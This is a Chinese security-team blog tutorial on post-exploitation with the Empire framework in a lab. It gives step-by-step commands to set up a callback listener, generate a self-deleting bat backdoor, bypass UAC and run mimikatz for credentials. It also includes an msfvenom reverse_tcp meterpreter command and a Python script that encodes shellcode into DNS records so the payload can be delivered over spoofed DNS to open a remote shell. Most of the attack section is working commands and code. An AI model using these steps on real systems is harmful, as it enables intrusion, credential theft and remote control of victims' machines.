内网工具学习之Empire后渗透

2018-08-08 17:16:02 浏览数 (1)

本文来自ChaMd5安全团队CleanRobots,文章内容以思路为主。

如需转载,请先联系ChaMd5安全团队授权。

未经授权请勿转载。

前言:

Empire一款基于PowerShell的后渗透测试工具。感谢某葵和某Egg的推荐和指点。感谢某骗子给我解惑DNS的一些东西。

安装:
  • github项目地址: https://github.com/EmpireProject/Empire
  • 下载: git clone https://github.com/EmpireProject/Empire.git
  • Empiresetup目录执行install.sh文件 ./install.sh

开始下载安装运行依赖文件

最后设置数据库密码那里可以默认回车,也可以自己设置

踩坑经历:

如果安装途中,遇到网络问题,多次执行./install.sh文件安装全部依赖,运行主目录下empire启动程序前,先执行setup目录下的reset.sh后再执行主目录empire文件。

  • 使用 (Empire)> listeners # 监听
    • 监听

(Empire: listeners) > uselistener http #选择监听方式

(Empire: listeners/http) > info #查看需要配置的选项

(Empire: listeners/http) > set Name backdoor #设置监听名字

养成良好的习惯设置自己容易理解的名字,方便管理shell

(Empire: listeners/http) > set Host http://192.168.80.131:4447 #设置木马反弹回连地址

(Empire: listeners/http) > set Port 4447 #设置本地监听端口

(Empire: listeners/http) > execute #执行监听

至此,监听工作完成。我们开始配置生成后门。

  • 生成木马 (Empire: listeners/http) > back #返回上层模块 (Empire: listeners) > usestager windows/launcher_bat backdoor # 选择木马种类

这里我选择的是bat类型的脚本,当然你们可以选择其他的。后面的backdoor就是刚刚我们设置的监听,这个模块就是依据监听的配置信息,生成相应的木马,让反弹马找到连接主机。

(Empire: stager/windows/launcher_bat) > info #查看需要配置的

你可以set OutFile 到你指定的目录(绝对路径)

(Empire: stager/windows/launcher_bat) > execute #执行生成木马

我们把tmp目录下的文件拷贝到我们的目标主机上运行

弹出一个黑框后,它自动消失了,是因为我们刚才生成backdoor的时候其中一个选项delete设置的True,运行结束后删除自身。

点击完我们的backdoor之后,我们回到我们的机器可以看到已经获取到了客户端的一个会话。

(Empire: stager/windows/launcher_bat) > agents #查看获取的代理会话

一个会话已经建立完成。

(Empire: agents) > rename HZFT7AX1 win7pro #更改会话名字

养成一个良好的习惯。

(Empire: agents) > interact win7pro #和该会话交互

从session_key这里可以看出我们的会话是经过加密的。

同时该框架还提供了bypassuac,mimikaz等模块,为渗透提供高效,快速的提升权限,信息获取。

正好结合这个说一个dns传输backdoor payload的方式

  • NativePayload_DNS 项目地址: https://github.com/DamonMohammadbagher/NativePayload_DNS.git 首先编译源码生成可执行文件 使用visual studio 工具命令编译!

生成NativePayload_DNS.exe 。

上传到我们攻击的机器上去,进入到交互界面。

首先我们先试试利用bypassuac这个功能,看看是否可以提升权限获取该机器管理员的密码,直接运行mimikatz是会报错的。

运行后我们看到有第二个会话开始建立中,稍等片刻

(Empire: win7pro) > agents #列举代理会话

细心的人可能发现多了一个*号那个usename那里

(Empire: agents) > rename 8TKB4G9S win7proprivilege #这里我说了三遍,很重要。

(Empire: agents) > interact win7proprivilege #和这个会话交互

(Empire: win7proprivilege) > mimikatz #使用mimikatz

(Empire: win7proprivilege) > upload /root/Desktop/NativePayload_DNS.exe #上传

(Empire: win7proprivilege) > shell dir #查看是否上传成功.

开始配置服务端

代码语言:javascript复制
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.80.131 lport=4444 -f c > /root/Desktop/payload.txt

#生成shellcode

这里申明下,网上的命令可能因为文章格式问题,导致命令不对,这里我做了修正。写了一个转换脚本,代码如下(一把梭,勿喷):

代码语言:javascript复制
#!/usr/bin/python2
#!-*- coding:utf-8 -*-

a = ''
f = open("payload.txt", "rb")
line = f.readlines()[1:]
f.close()
for lines in range(len(line)):
    ipls = '1.1.1.%s' % lines
    shellcode = line[lines].replace(";","").strip().rstrip(""") ".1.com" """
    text = ipls   " "   """   "0x" shellcode.lstrip(""")
    a  = text.replace("\","0") "n"
fn = open("dns.txt", "wb")
fn.write(a)
fn.close()

这里网上给出的样例也有问题,看了好久发现传输的payload缺少了一个"0x",于是在dns.txt做了修改。一直被老哥教育细心,耐心,这回总算用成了一回。

开启msf监听,这里就不再赘述了。

开启欺骗

root@localhost# dnsspoof -f dns.txt

服务端配置完成,现在回到我们的empire会话执行命令,获取meterpreter shell.

(Empire: win7proprivilege) > shell NativePayload_DNS.exe 1.1.1. 34 192.168.80.131 #执行

这个比较慢,需要稍等会,等它传输完,就会返回shell。

一张图证明empire绕过了UAC:

我被大佬吐槽学习自己代码实现功能,所有东西项目地址已经在文章中,抛砖引玉,多多学习交流。ChaMd5安全团队欢迎您来学习交流。

0 人点赞